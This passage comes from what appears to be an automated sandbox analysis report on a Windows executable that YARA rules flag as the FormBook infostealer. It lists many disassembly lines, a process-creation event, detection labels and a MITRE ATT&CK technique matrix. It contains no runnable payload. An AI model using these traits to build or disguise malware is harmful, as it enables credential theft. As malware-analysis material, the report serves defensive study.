        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3573D0C0 mov eax, dword ptr fs:[00000030h]6_2_3573D0C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3573D0C0 mov eax, dword ptr fs:[00000030h]6_2_3573D0C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E90DB mov eax, dword ptr fs:[00000030h]6_2_356E90DB
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BD08D mov eax, dword ptr fs:[00000030h]6_2_356BD08D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F909C mov eax, dword ptr fs:[00000030h]6_2_356F909C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574D080 mov eax, dword ptr fs:[00000030h]6_2_3574D080
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574D080 mov eax, dword ptr fs:[00000030h]6_2_3574D080
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C5096 mov eax, dword ptr fs:[00000030h]6_2_356C5096
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356ED090 mov eax, dword ptr fs:[00000030h]6_2_356ED090
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356ED090 mov eax, dword ptr fs:[00000030h]6_2_356ED090
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35763370 mov eax, dword ptr fs:[00000030h]6_2_35763370
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F367 mov eax, dword ptr fs:[00000030h]6_2_3577F367
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C7370 mov eax, dword ptr fs:[00000030h]6_2_356C7370
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C7370 mov eax, dword ptr fs:[00000030h]6_2_356C7370
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C7370 mov eax, dword ptr fs:[00000030h]6_2_356C7370
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BD34C mov eax, dword ptr fs:[00000030h]6_2_356BD34C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BD34C mov eax, dword ptr fs:[00000030h]6_2_356BD34C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795341 mov eax, dword ptr fs:[00000030h]6_2_35795341
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9353 mov eax, dword ptr fs:[00000030h]6_2_356B9353
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9353 mov eax, dword ptr fs:[00000030h]6_2_356B9353
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF32A mov eax, dword ptr fs:[00000030h]6_2_356EF32A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578132D mov eax, dword ptr fs:[00000030h]6_2_3578132D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578132D mov eax, dword ptr fs:[00000030h]6_2_3578132D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B7330 mov eax, dword ptr fs:[00000030h]6_2_356B7330
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574930B mov eax, dword ptr fs:[00000030h]6_2_3574930B
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574930B mov eax, dword ptr fs:[00000030h]6_2_3574930B
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574930B mov eax, dword ptr fs:[00000030h]6_2_3574930B
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357953FC mov eax, dword ptr fs:[00000030h]6_2_357953FC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F3E6 mov eax, dword ptr fs:[00000030h]6_2_3577F3E6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577B3D0 mov ecx, dword ptr fs:[00000030h]6_2_3577B3D0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E33A5 mov eax, dword ptr fs:[00000030h]6_2_356E33A5
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F33A0 mov eax, dword ptr fs:[00000030h]6_2_356F33A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F33A0 mov eax, dword ptr fs:[00000030h]6_2_356F33A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357613B9 mov eax, dword ptr fs:[00000030h]6_2_357613B9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357613B9 mov eax, dword ptr fs:[00000030h]6_2_357613B9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357613B9 mov eax, dword ptr fs:[00000030h]6_2_357613B9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579539D mov eax, dword ptr fs:[00000030h]6_2_3579539D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3571739A mov eax, dword ptr fs:[00000030h]6_2_3571739A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3571739A mov eax, dword ptr fs:[00000030h]6_2_3571739A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35701270 mov eax, dword ptr fs:[00000030h]6_2_35701270
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35701270 mov eax, dword ptr fs:[00000030h]6_2_35701270
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578D26B mov eax, dword ptr fs:[00000030h]6_2_3578D26B
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578D26B mov eax, dword ptr fs:[00000030h]6_2_3578D26B
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E9274 mov eax, dword ptr fs:[00000030h]6_2_356E9274
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577B256 mov eax, dword ptr fs:[00000030h]6_2_3577B256
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577B256 mov eax, dword ptr fs:[00000030h]6_2_3577B256
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F724D mov eax, dword ptr fs:[00000030h]6_2_356F724D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574D250 mov ecx, dword ptr fs:[00000030h]6_2_3574D250
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9240 mov eax, dword ptr fs:[00000030h]6_2_356B9240
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9240 mov eax, dword ptr fs:[00000030h]6_2_356B9240
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795227 mov eax, dword ptr fs:[00000030h]6_2_35795227
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F7208 mov eax, dword ptr fs:[00000030h]6_2_356F7208
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F7208 mov eax, dword ptr fs:[00000030h]6_2_356F7208
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B2F0 mov eax, dword ptr fs:[00000030h]6_2_3576B2F0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B2F0 mov eax, dword ptr fs:[00000030h]6_2_3576B2F0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F2F8 mov eax, dword ptr fs:[00000030h]6_2_3577F2F8
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B92FF mov eax, dword ptr fs:[00000030h]6_2_356B92FF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED mov eax, dword ptr fs:[00000030h]6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357952E2 mov eax, dword ptr fs:[00000030h]6_2_357952E2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C92C5 mov eax, dword ptr fs:[00000030h]6_2_356C92C5
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C92C5 mov eax, dword ptr fs:[00000030h]6_2_356C92C5
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB2C0 mov eax, dword ptr fs:[00000030h]6_2_356EB2C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB2C0 mov eax, dword ptr fs:[00000030h]6_2_356EB2C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB2C0 mov eax, dword ptr fs:[00000030h]6_2_356EB2C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB2C0 mov eax, dword ptr fs:[00000030h]6_2_356EB2C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB2C0 mov eax, dword ptr fs:[00000030h]6_2_356EB2C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB2C0 mov eax, dword ptr fs:[00000030h]6_2_356EB2C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB2C0 mov eax, dword ptr fs:[00000030h]6_2_356EB2C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB2D3 mov eax, dword ptr fs:[00000030h]6_2_356BB2D3
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB2D3 mov eax, dword ptr fs:[00000030h]6_2_356BB2D3
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB2D3 mov eax, dword ptr fs:[00000030h]6_2_356BB2D3
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF2D0 mov eax, dword ptr fs:[00000030h]6_2_356EF2D0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF2D0 mov eax, dword ptr fs:[00000030h]6_2_356EF2D0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357492BC mov eax, dword ptr fs:[00000030h]6_2_357492BC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357492BC mov eax, dword ptr fs:[00000030h]6_2_357492BC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357492BC mov ecx, dword ptr fs:[00000030h]6_2_357492BC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357492BC mov ecx, dword ptr fs:[00000030h]6_2_357492BC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D52A0 mov eax, dword ptr fs:[00000030h]6_2_356D52A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D52A0 mov eax, dword ptr fs:[00000030h]6_2_356D52A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D52A0 mov eax, dword ptr fs:[00000030h]6_2_356D52A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D52A0 mov eax, dword ptr fs:[00000030h]6_2_356D52A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357572A0 mov eax, dword ptr fs:[00000030h]6_2_357572A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357572A0 mov eax, dword ptr fs:[00000030h]6_2_357572A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357892A6 mov eax, dword ptr fs:[00000030h]6_2_357892A6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357892A6 mov eax, dword ptr fs:[00000030h]6_2_357892A6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357892A6 mov eax, dword ptr fs:[00000030h]6_2_357892A6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357892A6 mov eax, dword ptr fs:[00000030h]6_2_357892A6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F329E mov eax, dword ptr fs:[00000030h]6_2_356F329E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F329E mov eax, dword ptr fs:[00000030h]6_2_356F329E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795283 mov eax, dword ptr fs:[00000030h]6_2_35795283
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35779D70 mov eax, dword ptr fs:[00000030h]6_2_35779D70
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35779D70 mov eax, dword ptr fs:[00000030h]6_2_35779D70
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576FD78 mov eax, dword ptr fs:[00000030h]6_2_3576FD78
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576FD78 mov eax, dword ptr fs:[00000030h]6_2_3576FD78
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576FD78 mov eax, dword ptr fs:[00000030h]6_2_3576FD78
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576FD78 mov eax, dword ptr fs:[00000030h]6_2_3576FD78
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576FD78 mov eax, dword ptr fs:[00000030h]6_2_3576FD78
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C7D75 mov eax, dword ptr fs:[00000030h]6_2_356C7D75
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C7D75 mov eax, dword ptr fs:[00000030h]6_2_356C7D75
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FBD4E mov eax, dword ptr fs:[00000030h]6_2_356FBD4E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FBD4E mov eax, dword ptr fs:[00000030h]6_2_356FBD4E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35781D5A mov eax, dword ptr fs:[00000030h]6_2_35781D5A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35781D5A mov eax, dword ptr fs:[00000030h]6_2_35781D5A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35781D5A mov eax, dword ptr fs:[00000030h]6_2_35781D5A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35781D5A mov eax, dword ptr fs:[00000030h]6_2_35781D5A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795D50 mov eax, dword ptr fs:[00000030h]6_2_35795D50
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795D50 mov eax, dword ptr fs:[00000030h]6_2_35795D50
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B7D41 mov eax, dword ptr fs:[00000030h]6_2_356B7D41
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov ecx, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov ecx, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov ecx, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov ecx, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov ecx, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov ecx, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D40 mov eax, dword ptr fs:[00000030h]6_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574DD47 mov eax, dword ptr fs:[00000030h]6_2_3574DD47
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D20 mov eax, dword ptr fs:[00000030h]6_2_356D3D20
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574FD2A mov eax, dword ptr fs:[00000030h]6_2_3574FD2A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574FD2A mov eax, dword ptr fs:[00000030h]6_2_3574FD2A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D00 mov eax, dword ptr fs:[00000030h]6_2_356D3D00
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577DDC7 mov eax, dword ptr fs:[00000030h]6_2_3577DDC7
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574DDC0 mov eax, dword ptr fs:[00000030h]6_2_3574DDC0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C3DD0 mov eax, dword ptr fs:[00000030h]6_2_356C3DD0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C3DD0 mov eax, dword ptr fs:[00000030h]6_2_356C3DD0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578DDC6 mov eax, dword ptr fs:[00000030h]6_2_3578DDC6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F9DAF mov eax, dword ptr fs:[00000030h]6_2_356F9DAF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574DDB1 mov eax, dword ptr fs:[00000030h]6_2_3574DDB1
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CFDA9 mov eax, dword ptr fs:[00000030h]6_2_356CFDA9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35755DA0 mov eax, dword ptr fs:[00000030h]6_2_35755DA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35755DA0 mov eax, dword ptr fs:[00000030h]6_2_35755DA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35755DA0 mov eax, dword ptr fs:[00000030h]6_2_35755DA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35755DA0 mov ecx, dword ptr fs:[00000030h]6_2_35755DA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DDDB1 mov eax, dword ptr fs:[00000030h]6_2_356DDDB1
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DDDB1 mov eax, dword ptr fs:[00000030h]6_2_356DDDB1
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DDDB1 mov eax, dword ptr fs:[00000030h]6_2_356DDDB1
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BFD80 mov eax, dword ptr fs:[00000030h]6_2_356BFD80
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9D96 mov eax, dword ptr fs:[00000030h]6_2_356B9D96
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9D96 mov eax, dword ptr fs:[00000030h]6_2_356B9D96
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9D96 mov ecx, dword ptr fs:[00000030h]6_2_356B9D96
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1C60 mov eax, dword ptr fs:[00000030h]6_2_356D1C60
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F1C7C mov eax, dword ptr fs:[00000030h]6_2_356F1C7C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B7C40 mov eax, dword ptr fs:[00000030h]6_2_356B7C40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B7C40 mov ecx, dword ptr fs:[00000030h]6_2_356B7C40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B7C40 mov eax, dword ptr fs:[00000030h]6_2_356B7C40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B7C40 mov eax, dword ptr fs:[00000030h]6_2_356B7C40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577FC4F mov eax, dword ptr fs:[00000030h]6_2_3577FC4F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35791C3C mov eax, dword ptr fs:[00000030h]6_2_35791C3C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35749C32 mov eax, dword ptr fs:[00000030h]6_2_35749C32
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FBC3B mov esi, dword ptr fs:[00000030h]6_2_356FBC3B
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578DC27 mov eax, dword ptr fs:[00000030h]6_2_3578DC27
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578DC27 mov eax, dword ptr fs:[00000030h]6_2_3578DC27
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578DC27 mov eax, dword ptr fs:[00000030h]6_2_3578DC27
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574BC10 mov eax, dword ptr fs:[00000030h]6_2_3574BC10
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574BC10 mov eax, dword ptr fs:[00000030h]6_2_3574BC10
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574BC10 mov ecx, dword ptr fs:[00000030h]6_2_3574BC10
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579BC01 mov eax, dword ptr fs:[00000030h]6_2_3579BC01
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579BC01 mov eax, dword ptr fs:[00000030h]6_2_3579BC01
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35761CF9 mov eax, dword ptr fs:[00000030h]6_2_35761CF9
        Source: C:\Users\user\Desktop\Occipitomental.exeProcess created: C:\Users\user\Desktop\Occipitomental.exe "C:\Users\user\Desktop\Occipitomental.exe"Jump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_00405D1F GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,0_2_00405D1F

        Stealing of Sensitive Information

        barindex
        Yara detected FormBook
        Source: Yara matchFile source: 00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

        Remote Access Functionality

        barindex
        Yara detected FormBook
        Source: Yara matchFile source: 00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
        Native API        		1
        Registry Run Keys / Startup Folder        		1
        Access Token Manipulation        		11
        Masquerading        		OS Credential Dumping211
        Security Software Discovery        		Remote Services1
        Archive Collected Data        		11
        Encrypted Channel        		Exfiltration Over Other Network Medium1
        System Shutdown/Reboot
        CredentialsDomainsDefault AccountsScheduled Task/Job1
        DLL Side-Loading        		11
        Process Injection        		1
        Virtualization/Sandbox Evasion        		LSASS Memory1
        Virtualization/Sandbox Evasion        		Remote Desktop Protocol1
        Clipboard Data        		1
        Ingress Tool Transfer        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
        Registry Run Keys / Startup Folder        		1
        Access Token Manipulation        		Security Account Manager4
        File and Directory Discovery        		SMB/Windows Admin SharesData from Network Shared Drive2
        Non-Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
        DLL Side-Loading        		11
        Process Injection        		NTDS23
        System Information Discovery        		Distributed Component Object ModelInput Capture3
        Application Layer Protocol        		Traffic DuplicationData Destruction
        Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
        Deobfuscate/Decode Files or Information        		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
        Obfuscated Files or Information        		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
        DLL Side-Loading        		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
